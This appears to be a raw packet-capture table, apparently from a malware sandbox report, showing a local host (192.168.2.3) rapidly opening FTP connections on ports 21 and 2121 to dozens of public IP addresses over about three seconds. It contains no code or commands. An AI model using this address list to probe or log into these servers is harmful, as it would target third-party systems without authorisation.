Aug 23, 2023 09:16:20.995750904 CEST	21	51960	193.193.239.77	192.168.2.3
Aug 23, 2023 09:16:21.011214972 CEST	2121	51961	193.193.239.77	192.168.2.3
Aug 23, 2023 09:16:21.019932985 CEST	2121	51955	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.021023989 CEST	2121	51966	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.021106005 CEST	51966	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.021636963 CEST	51967	2121	192.168.2.3	72.197.134.48
Aug 23, 2023 09:16:21.036333084 CEST	51890	21	192.168.2.3	62.235.21.230
Aug 23, 2023 09:16:21.071480036 CEST	51968	21	192.168.2.3	5.141.35.195
Aug 23, 2023 09:16:21.077455997 CEST	21	51949	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:21.081720114 CEST	21	51963	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:21.082185984 CEST	51963	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:21.088391066 CEST	21	51937	131.0.53.230	192.168.2.3
Aug 23, 2023 09:16:21.092689991 CEST	2121	51940	131.0.53.230	192.168.2.3
Aug 23, 2023 09:16:21.114573956 CEST	51948	2121	192.168.2.3	211.107.152.54
Aug 23, 2023 09:16:21.114614010 CEST	51947	21	192.168.2.3	211.107.152.54
Aug 23, 2023 09:16:21.153542042 CEST	21	51945	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:21.153892994 CEST	51945	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:21.166006088 CEST	21	51928	175.212.47.197	192.168.2.3
Aug 23, 2023 09:16:21.168205023 CEST	51969	2121	192.168.2.3	5.141.35.195
Aug 23, 2023 09:16:21.169292927 CEST	2121	51929	175.212.47.197	192.168.2.3
Aug 23, 2023 09:16:21.170882940 CEST	51970	21	192.168.2.3	14.32.187.83
Aug 23, 2023 09:16:21.206120014 CEST	21	51963	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:21.206537008 CEST	51963	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:21.208229065 CEST	51951	2121	192.168.2.3	150.249.6.171
Aug 23, 2023 09:16:21.214708090 CEST	21	51959	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:21.215136051 CEST	51959	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:21.220932007 CEST	2121	51966	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.221272945 CEST	51966	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.239526033 CEST	51952	21	192.168.2.3	49.48.90.96
Aug 23, 2023 09:16:21.250262022 CEST	2121	51966	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.251849890 CEST	2121	51966	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.252193928 CEST	51966	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.256114006 CEST	51972	21	192.168.2.3	104.94.66.138
Aug 23, 2023 09:16:21.256114960 CEST	51971	2121	192.168.2.3	14.32.187.83
Aug 23, 2023 09:16:21.284327984 CEST	2121	51966	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.284573078 CEST	51966	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.314219952 CEST	2121	51966	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.314738989 CEST	2121	51966	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.314894915 CEST	51966	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.315193892 CEST	51966	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.315610886 CEST	51973	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.325270891 CEST	21	51945	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:21.325313091 CEST	21	51945	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:21.325506926 CEST	51945	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:21.326081991 CEST	51945	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:21.327337027 CEST	51974	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:21.330063105 CEST	21	51963	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:21.335601091 CEST	51958	2121	192.168.2.3	159.0.4.225
Aug 23, 2023 09:16:21.335664988 CEST	51895	21	192.168.2.3	20.254.16.173
Aug 23, 2023 09:16:21.335911989 CEST	51963	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:21.344435930 CEST	2121	51966	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.347675085 CEST	2121	51973	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.348340988 CEST	51973	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.349366903 CEST	51894	2121	192.168.2.3	62.235.21.230
Aug 23, 2023 09:16:21.368980885 CEST	2121	51948	211.107.152.54	192.168.2.3
Aug 23, 2023 09:16:21.369106054 CEST	21	51947	211.107.152.54	192.168.2.3
Aug 23, 2023 09:16:21.380949974 CEST	51896	2121	192.168.2.3	20.254.16.173
Aug 23, 2023 09:16:21.411366940 CEST	51898	2121	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:21.425494909 CEST	2121	51958	159.0.4.225	192.168.2.3
Aug 23, 2023 09:16:21.427571058 CEST	21	51970	14.32.187.83	192.168.2.3
Aug 23, 2023 09:16:21.427953959 CEST	51975	2121	192.168.2.3	104.94.66.138
Aug 23, 2023 09:16:21.427953959 CEST	51976	21	192.168.2.3	79.20.124.228
Aug 23, 2023 09:16:21.428361893 CEST	21	51959	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:21.434731007 CEST	2121	51951	150.249.6.171	192.168.2.3
Aug 23, 2023 09:16:21.450301886 CEST	21	51952	49.48.90.96	192.168.2.3
Aug 23, 2023 09:16:21.458245039 CEST	51899	21	192.168.2.3	62.153.102.18
Aug 23, 2023 09:16:21.460258961 CEST	21	51963	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:21.460326910 CEST	21	51963	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:21.464001894 CEST	51977	2121	192.168.2.3	79.20.124.228
Aug 23, 2023 09:16:21.497737885 CEST	21	51945	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:21.498720884 CEST	21	51974	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:21.499057055 CEST	51974	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:21.505906105 CEST	51960	21	192.168.2.3	193.193.239.77
Aug 23, 2023 09:16:21.512841940 CEST	2121	51971	14.32.187.83	192.168.2.3
Aug 23, 2023 09:16:21.520807981 CEST	51903	21	192.168.2.3	23.208.92.194
Aug 23, 2023 09:16:21.520807981 CEST	51900	2121	192.168.2.3	62.153.102.18
Aug 23, 2023 09:16:21.520807981 CEST	51961	2121	192.168.2.3	193.193.239.77
Aug 23, 2023 09:16:21.520807981 CEST	51906	2121	192.168.2.3	195.13.244.30
Aug 23, 2023 09:16:21.520818949 CEST	51902	2121	192.168.2.3	184.97.221.114
Aug 23, 2023 09:16:21.520821095 CEST	51901	21	192.168.2.3	184.97.221.114
Aug 23, 2023 09:16:21.520819902 CEST	51909	2121	192.168.2.3	185.88.56.201
Aug 23, 2023 09:16:21.520821095 CEST	51905	2121	192.168.2.3	23.208.92.194
Aug 23, 2023 09:16:21.520836115 CEST	51904	21	192.168.2.3	195.13.244.30
Aug 23, 2023 09:16:21.536358118 CEST	51910	21	192.168.2.3	87.123.248.67
Aug 23, 2023 09:16:21.536415100 CEST	51908	21	192.168.2.3	185.88.56.201
Aug 23, 2023 09:16:21.537440062 CEST	51978	21	192.168.2.3	47.147.186.106
Aug 23, 2023 09:16:21.544889927 CEST	2121	51973	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.545145988 CEST	51973	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.577367067 CEST	2121	51973	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.578938007 CEST	2121	51973	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.581849098 CEST	51973	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.589071035 CEST	21	51960	193.193.239.77	192.168.2.3
Aug 23, 2023 09:16:21.598900080 CEST	51937	21	192.168.2.3	131.0.53.230
Aug 23, 2023 09:16:21.598970890 CEST	51940	2121	192.168.2.3	131.0.53.230
Aug 23, 2023 09:16:21.599946976 CEST	51979	2121	192.168.2.3	47.147.186.106
Aug 23, 2023 09:16:21.601418972 CEST	51981	2121	192.168.2.3	188.97.19.61
Aug 23, 2023 09:16:21.601598978 CEST	51980	21	192.168.2.3	188.97.19.61
Aug 23, 2023 09:16:21.604547977 CEST	2121	51961	193.193.239.77	192.168.2.3
Aug 23, 2023 09:16:21.615634918 CEST	51982	21	192.168.2.3	88.49.116.20
Aug 23, 2023 09:16:21.615688086 CEST	51984	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:21.615731001 CEST	51983	2121	192.168.2.3	88.49.116.20
Aug 23, 2023 09:16:21.617060900 CEST	2121	51973	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.617818117 CEST	51973	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.646138906 CEST	51912	2121	192.168.2.3	87.123.248.67
Aug 23, 2023 09:16:21.651211977 CEST	2121	51973	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.651597977 CEST	2121	51973	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.654710054 CEST	51973	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.655325890 CEST	51973	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.655492067 CEST	51985	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.684587002 CEST	2121	51985	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.684725046 CEST	51985	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.687597036 CEST	2121	51973	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.692852974 CEST	51844	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:21.773799896 CEST	21	51974	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:21.774471045 CEST	51974	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:21.822745085 CEST	21	51937	131.0.53.230	192.168.2.3
Aug 23, 2023 09:16:21.825834036 CEST	51986	2121	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:21.827009916 CEST	2121	51940	131.0.53.230	192.168.2.3
Aug 23, 2023 09:16:21.831163883 CEST	51987	21	192.168.2.3	71.57.88.253
Aug 23, 2023 09:16:21.844299078 CEST	21	51984	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:21.844508886 CEST	51984	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:21.848946095 CEST	51918	2121	192.168.2.3	93.184.111.57
Aug 23, 2023 09:16:21.849031925 CEST	51917	21	192.168.2.3	93.184.111.57
Aug 23, 2023 09:16:21.852024078 CEST	51988	2121	192.168.2.3	71.57.88.253
Aug 23, 2023 09:16:21.858064890 CEST	21	51844	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:21.880178928 CEST	51948	2121	192.168.2.3	211.107.152.54
Aug 23, 2023 09:16:21.880316973 CEST	51947	21	192.168.2.3	211.107.152.54
Aug 23, 2023 09:16:21.894396067 CEST	2121	51985	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.895047903 CEST	51985	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.923979998 CEST	2121	51985	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.925519943 CEST	2121	51985	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.927752972 CEST	51958	2121	192.168.2.3	159.0.4.225
Aug 23, 2023 09:16:21.931483984 CEST	51985	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.942689896 CEST	51970	21	192.168.2.3	14.32.187.83
Aug 23, 2023 09:16:21.942693949 CEST	51951	2121	192.168.2.3	150.249.6.171
Aug 23, 2023 09:16:21.946222067 CEST	21	51974	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:21.947369099 CEST	21	51974	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:21.947904110 CEST	51974	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:21.958465099 CEST	51952	21	192.168.2.3	49.48.90.96
Aug 23, 2023 09:16:21.963247061 CEST	21	51987	71.57.88.253	192.168.2.3
Aug 23, 2023 09:16:21.963279963 CEST	2121	51985	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.964571953 CEST	51985	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.981304884 CEST	2121	51988	71.57.88.253	192.168.2.3
Aug 23, 2023 09:16:21.994128942 CEST	2121	51985	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.994239092 CEST	51921	21	192.168.2.3	74.76.32.20
Aug 23, 2023 09:16:21.994445086 CEST	2121	51985	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:21.994724035 CEST	51985	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.994724035 CEST	51985	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:21.995817900 CEST	51989	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.016091108 CEST	2121	51958	159.0.4.225	192.168.2.3
Aug 23, 2023 09:16:22.020831108 CEST	51922	2121	192.168.2.3	74.76.32.20
Aug 23, 2023 09:16:22.021392107 CEST	51971	2121	192.168.2.3	14.32.187.83
Aug 23, 2023 09:16:22.023983002 CEST	2121	51985	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.025868893 CEST	2121	51989	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.026076078 CEST	51989	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.026953936 CEST	51990	21	192.168.2.3	122.181.99.20
Aug 23, 2023 09:16:22.036097050 CEST	2121	51986	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:22.083895922 CEST	51991	2121	192.168.2.3	122.181.99.20
Aug 23, 2023 09:16:22.098937988 CEST	51960	21	192.168.2.3	193.193.239.77
Aug 23, 2023 09:16:22.114607096 CEST	51961	2121	192.168.2.3	193.193.239.77
Aug 23, 2023 09:16:22.119713068 CEST	21	51974	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:22.120194912 CEST	51974	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:22.130786896 CEST	51992	21	192.168.2.3	1.232.183.243
Aug 23, 2023 09:16:22.134526968 CEST	2121	51948	211.107.152.54	192.168.2.3
Aug 23, 2023 09:16:22.134716034 CEST	21	51947	211.107.152.54	192.168.2.3
Aug 23, 2023 09:16:22.135489941 CEST	51993	2121	192.168.2.3	1.232.183.243
Aug 23, 2023 09:16:22.135654926 CEST	51994	21	192.168.2.3	69.139.78.225
Aug 23, 2023 09:16:22.162786961 CEST	51995	2121	192.168.2.3	69.139.78.225
Aug 23, 2023 09:16:22.162786961 CEST	51996	2121	192.168.2.3	187.13.177.105
Aug 23, 2023 09:16:22.162798882 CEST	51997	21	192.168.2.3	187.13.177.105
Aug 23, 2023 09:16:22.169405937 CEST	2121	51951	150.249.6.171	192.168.2.3
Aug 23, 2023 09:16:22.169461966 CEST	21	51952	49.48.90.96	192.168.2.3
Aug 23, 2023 09:16:22.175685883 CEST	51998	2121	192.168.2.3	176.61.71.72
Aug 23, 2023 09:16:22.175802946 CEST	51999	21	192.168.2.3	176.61.71.72
Aug 23, 2023 09:16:22.181875944 CEST	21	51960	193.193.239.77	192.168.2.3
Aug 23, 2023 09:16:22.192677975 CEST	51924	21	192.168.2.3	182.77.43.134
Aug 23, 2023 09:16:22.196557999 CEST	52000	21	192.168.2.3	104.83.44.122
Aug 23, 2023 09:16:22.198138952 CEST	2121	51961	193.193.239.77	192.168.2.3
Aug 23, 2023 09:16:22.198762894 CEST	52001	2121	192.168.2.3	104.83.44.122
Aug 23, 2023 09:16:22.200505972 CEST	21	51970	14.32.187.83	192.168.2.3
Aug 23, 2023 09:16:22.200913906 CEST	21	51844	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:22.201057911 CEST	21	51844	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:22.201265097 CEST	51844	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:22.201507092 CEST	21	51844	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:22.201586008 CEST	51844	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:22.201721907 CEST	52002	21	192.168.2.3	175.208.27.160
Aug 23, 2023 09:16:22.229162931 CEST	2121	51989	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.229468107 CEST	51989	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.263362885 CEST	2121	51989	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.264676094 CEST	2121	51989	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.265094042 CEST	51989	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.270807028 CEST	51925	2121	192.168.2.3	182.77.43.134
Aug 23, 2023 09:16:22.279156923 CEST	2121	51971	14.32.187.83	192.168.2.3
Aug 23, 2023 09:16:22.291948080 CEST	21	51974	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:22.291995049 CEST	21	51974	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:22.292082071 CEST	51974	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:22.292221069 CEST	51974	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:22.293098927 CEST	52003	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:22.305825949 CEST	2121	51989	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.306158066 CEST	51989	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.338531971 CEST	2121	51989	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.338661909 CEST	2121	51989	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.338790894 CEST	51989	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.338860035 CEST	51989	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.339570999 CEST	52004	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.373733997 CEST	2121	52004	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.373833895 CEST	52004	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.373899937 CEST	2121	51989	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.403103113 CEST	2121	51993	1.232.183.243	192.168.2.3
Aug 23, 2023 09:16:22.429003000 CEST	21	51959	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:22.429564953 CEST	51959	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:22.459825039 CEST	21	52002	175.208.27.160	192.168.2.3
Aug 23, 2023 09:16:22.463332891 CEST	21	51974	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:22.464268923 CEST	21	52003	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:22.464359045 CEST	52003	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:22.472031116 CEST	51987	21	192.168.2.3	71.57.88.253
Aug 23, 2023 09:16:22.489590883 CEST	51988	2121	192.168.2.3	71.57.88.253
Aug 23, 2023 09:16:22.523263931 CEST	52006	21	192.168.2.3	8.46.204.85
Aug 23, 2023 09:16:22.523288012 CEST	52005	2121	192.168.2.3	175.208.27.160
Aug 23, 2023 09:16:22.536473036 CEST	51986	2121	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:22.568341017 CEST	2121	52004	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.568763971 CEST	52004	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.585143089 CEST	52007	2121	192.168.2.3	8.46.204.85
Aug 23, 2023 09:16:22.598005056 CEST	2121	52004	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.599642992 CEST	2121	52004	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.599958897 CEST	52004	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.603699923 CEST	21	51987	71.57.88.253	192.168.2.3
Aug 23, 2023 09:16:22.621768951 CEST	2121	51988	71.57.88.253	192.168.2.3
Aug 23, 2023 09:16:22.631864071 CEST	2121	52004	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.640305996 CEST	52004	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.644282103 CEST	21	51959	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:22.644506931 CEST	21	51959	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:22.644546986 CEST	21	51959	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:22.644614935 CEST	51959	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:22.644726992 CEST	51959	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:22.645275116 CEST	52008	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:22.670308113 CEST	2121	52004	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.670624971 CEST	2121	52004	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.670655012 CEST	52004	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.670706034 CEST	52004	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.672106028 CEST	52009	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.678633928 CEST	52010	21	192.168.2.3	92.11.249.89
Aug 23, 2023 09:16:22.699862957 CEST	2121	52004	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.701227903 CEST	2121	52009	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.701400995 CEST	52009	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.708357096 CEST	51970	21	192.168.2.3	14.32.187.83
Aug 23, 2023 09:16:22.714046955 CEST	21	51984	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:22.714246035 CEST	51984	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:22.714859962 CEST	52011	2121	192.168.2.3	92.11.249.89
Aug 23, 2023 09:16:22.746762991 CEST	2121	51986	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:22.750969887 CEST	21	52003	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:22.751261950 CEST	52003	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:22.779205084 CEST	2121	52005	175.208.27.160	192.168.2.3
Aug 23, 2023 09:16:22.786619902 CEST	51971	2121	192.168.2.3	14.32.187.83
Aug 23, 2023 09:16:22.858262062 CEST	21	51959	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:22.858896971 CEST	21	52008	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:22.859035969 CEST	52008	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:22.906053066 CEST	2121	52009	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.906446934 CEST	52009	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.911540031 CEST	51993	2121	192.168.2.3	1.232.183.243
Aug 23, 2023 09:16:22.922498941 CEST	21	52003	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:22.923847914 CEST	21	52003	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:22.924158096 CEST	52003	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:22.935514927 CEST	2121	52009	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.937033892 CEST	2121	52009	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.937388897 CEST	52009	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.942429066 CEST	21	51984	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:22.942542076 CEST	51984	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:22.965614080 CEST	21	51970	14.32.187.83	192.168.2.3
Aug 23, 2023 09:16:22.966414928 CEST	52012	21	192.168.2.3	71.68.32.60
Aug 23, 2023 09:16:22.969150066 CEST	2121	52009	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:22.969450951 CEST	52009	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:22.973968983 CEST	52002	21	192.168.2.3	175.208.27.160
Aug 23, 2023 09:16:22.973979950 CEST	51934	2121	192.168.2.3	107.175.142.26
Aug 23, 2023 09:16:22.974010944 CEST	51932	21	192.168.2.3	107.175.142.26
Aug 23, 2023 09:16:22.989676952 CEST	51935	2121	192.168.2.3	85.53.225.205
Aug 23, 2023 09:16:22.989739895 CEST	51933	21	192.168.2.3	85.53.225.205
Aug 23, 2023 09:16:23.000186920 CEST	2121	52009	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.000233889 CEST	2121	52009	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.000366926 CEST	52009	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.000433922 CEST	52009	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.000946045 CEST	52013	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.034732103 CEST	2121	52013	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.034790039 CEST	2121	52009	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.034857988 CEST	52013	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.037384033 CEST	52014	2121	192.168.2.3	71.68.32.60
Aug 23, 2023 09:16:23.044090986 CEST	2121	51971	14.32.187.83	192.168.2.3
Aug 23, 2023 09:16:23.044794083 CEST	52015	21	192.168.2.3	168.149.76.243
Aug 23, 2023 09:16:23.079015970 CEST	21	52008	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:23.079288006 CEST	52008	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:23.096769094 CEST	21	52003	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:23.097060919 CEST	52003	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:23.114742994 CEST	51987	21	192.168.2.3	71.57.88.253
Aug 23, 2023 09:16:23.130248070 CEST	51988	2121	192.168.2.3	71.57.88.253
Aug 23, 2023 09:16:23.130317926 CEST	51939	2121	192.168.2.3	13.93.66.34
Aug 23, 2023 09:16:23.145867109 CEST	51938	21	192.168.2.3	13.93.66.34
Aug 23, 2023 09:16:23.145880938 CEST	51941	2121	192.168.2.3	79.225.67.15
Aug 23, 2023 09:16:23.145992994 CEST	51942	21	192.168.2.3	79.225.67.15
Aug 23, 2023 09:16:23.161504030 CEST	51943	21	192.168.2.3	83.79.181.48
Aug 23, 2023 09:16:23.177462101 CEST	2121	51993	1.232.183.243	192.168.2.3
Aug 23, 2023 09:16:23.192749023 CEST	51944	2121	192.168.2.3	83.79.181.48
Aug 23, 2023 09:16:23.234478951 CEST	21	52002	175.208.27.160	192.168.2.3
Aug 23, 2023 09:16:23.242420912 CEST	2121	52013	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.242748022 CEST	52013	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.245685101 CEST	21	51987	71.57.88.253	192.168.2.3
Aug 23, 2023 09:16:23.246329069 CEST	52016	2121	192.168.2.3	168.149.76.243
Aug 23, 2023 09:16:23.255259037 CEST	51986	2121	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:23.262799025 CEST	2121	51988	71.57.88.253	192.168.2.3
Aug 23, 2023 09:16:23.264206886 CEST	52017	21	192.168.2.3	73.84.212.167
Aug 23, 2023 09:16:23.268661022 CEST	21	52003	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:23.268706083 CEST	21	52003	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:23.268903017 CEST	52003	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:23.268969059 CEST	52003	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:23.269522905 CEST	52018	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:23.275145054 CEST	2121	52013	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.276631117 CEST	2121	52013	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.277031898 CEST	52013	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.286643028 CEST	52005	2121	192.168.2.3	175.208.27.160
Aug 23, 2023 09:16:23.293191910 CEST	21	52008	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:23.312808990 CEST	2121	52013	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.313205004 CEST	52013	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.346395969 CEST	2121	52013	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.346743107 CEST	52013	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.346777916 CEST	2121	52013	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.346862078 CEST	52013	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.347264051 CEST	52019	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.349539995 CEST	52020	2121	192.168.2.3	73.84.212.167
Aug 23, 2023 09:16:23.350785017 CEST	52021	21	192.168.2.3	211.49.103.112
Aug 23, 2023 09:16:23.379225016 CEST	2121	52019	95.85.215.156	192.168.2.3
